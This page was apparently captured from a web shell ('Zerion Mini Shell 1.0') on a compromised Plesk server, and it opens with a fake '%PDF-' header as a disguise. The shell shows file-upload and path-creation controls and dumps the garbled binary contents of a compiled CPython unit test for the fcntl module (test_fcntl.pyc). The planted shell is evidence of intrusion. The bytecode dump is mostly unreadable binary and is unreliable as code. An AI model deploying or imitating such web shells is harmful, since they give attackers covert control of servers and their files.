%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/opt/plesk/python/2.7/lib64/python2.7/test/
Upload File :
Create Path :
Current File : //proc/self/root/opt/plesk/python/2.7/lib64/python2.7/test/test_fcntl.pyc

�
5}�ac@s�dZddlZddlZddlZddlZddlmZmZmZm	Z	m
Z
mZe
d�Zd�Z
e
�Zddd��YZdejfd	��YZd
�Zedkr�e�ndS(
s]Test program for the fcntl C module.

OS/2+EMX doesn't support the file locking operations.

i����N(tverbosetTESTFNtunlinktrun_unittestt
import_moduletcpython_onlytfcntlc	Csitjjd�rd}n+ytjWntk
r?d}nXd}tjjd�sgtjdkr�tjd	�d
kr�d	}d}nd}d	}tj|||d
dddt	j
d�}n}tjdkrtjdt	j
dddddd�}nDtjdkrd}n,tjd
|d
t	j
ddddd�}|retredGt
|�GHqen|S(Ntatheostqqtlltnetbsdtfreebsdtopenbsdtbsdostdarwintlititlxxxxthhitaix3taix4shp-uxBt	unixware7thhllliitos2emxs
struct.pack: (R
RRR
(RRshp-uxBR(R(tsystplatformt
startswithtostO_LARGEFILEtAttributeErrortstructtcalcsizetpackRtF_WRLCKtNoneRtrepr(t	start_lentoff_ttpid_ttlockdata((s8/opt/plesk/python/2.7/lib64/python2.7/test/test_fcntl.pytget_lockdatas2	

	*	,tBadFilecBseZd�Zd�ZRS(cCs
||_dS(N(tfn(tselfR*((s8/opt/plesk/python/2.7/lib64/python2.7/test/test_fcntl.pyt__init__7scCs|jS(N(R*(R+((s8/opt/plesk/python/2.7/lib64/python2.7/test/test_fcntl.pytfileno9s(t__name__t
__module__R,R-(((s8/opt/plesk/python/2.7/lib64/python2.7/test/test_fcntl.pyR)6s	t	TestFcntlcBsMeZd�Zd�Zd�Zd�Zd�Zed��Zd�Z	RS(cCs
d|_dS(N(R"tf(R+((s8/opt/plesk/python/2.7/lib64/python2.7/test/test_fcntl.pytsetUp>scCs4|jr&|jjr&|jj�ntt�dS(N(R1tclosedtcloseRR(R+((s8/opt/plesk/python/2.7/lib64/python2.7/test/test_fcntl.pyttearDownAscCs�ttd�|_tj|jj�tjtj�}trHdG|GHnt	j
dkr�tj|jj�tjt�}tr�dGt
|�GHq�n|jj�dS(Ntws#Status from fcntl with O_NONBLOCK: Rs!String from fcntl with F_SETLKW: (R(topenRR1RR-tF_SETFLRt
O_NONBLOCKRRRtF_SETLKWR'R#R4(R+trv((s8/opt/plesk/python/2.7/lib64/python2.7/test/test_fcntl.pyttest_fcntl_filenoFs$!cCsnttd�|_tj|jtjtj�}tjdkr]tj|jtj	t
�}n|jj�dS(NR6R(R(R7RR1RR8RR9RRR:R'R4(R+R;((s8/opt/plesk/python/2.7/lib64/python2.7/test/test_fcntl.pyttest_fcntl_file_descriptorRs
cCs�|jt��tjdtjtj�WdQX|jt��$tjtd�tjtj�WdQX|jt��tjdtjtj�WdQX|jt��$tjtd�tjtj�WdQXdS(Ni����tspam(tassertRaisest
ValueErrorRR8RR9R)t	TypeError(R+((s8/opt/plesk/python/2.7/lib64/python2.7/test/test_fcntl.pyttest_fcntl_bad_fileZs%cCs�ddlm}m}|jt��"tj|dtjtj�WdQX|jt��(tjt	|d�tjtj�WdQX|jt��"tj|dtjtj�WdQX|jt��(tjt	|d�tjtj�WdQXdS(Ni����(tINT_MAXtINT_MINi(
t	_testcapiRCRDR?R@RR8RR9R)(R+RCRD((s8/opt/plesk/python/2.7/lib64/python2.7/test/test_fcntl.pyttest_fcntl_bad_file_overflowds#)#cCs�ytj}tj}Wntk
r6|jd�nXtjtjjtjj	t
��tj�}z/ytj|||�Wntk
r�nXWdtj
|�XdS(Ns$F_NOTIFY or DN_MULTISHOT unavailable(RtF_NOTIFYtDN_MULTISHOTRtskipTestRR7tpathtdirnametabspathRtO_RDONLYtIOErrorR4(R+tcmdtflagstfd((s8/opt/plesk/python/2.7/lib64/python2.7/test/test_fcntl.pyttest_fcntl_64_bitqs	

-
(
R.R/R2R5R<R=RBRRFRR(((s8/opt/plesk/python/2.7/lib64/python2.7/test/test_fcntl.pyR0<s					

cCstt�dS(N(RR0(((s8/opt/plesk/python/2.7/lib64/python2.7/test/test_fcntl.pyt	test_main�st__main__((t__doc__RRRtunittestttest.test_supportRRRRRRRR(R'R)tTestCaseR0RSR.(((s8/opt/plesk/python/2.7/lib64/python2.7/test/test_fcntl.pyt<module>s.	 	H	

Zerion Mini Shell 1.0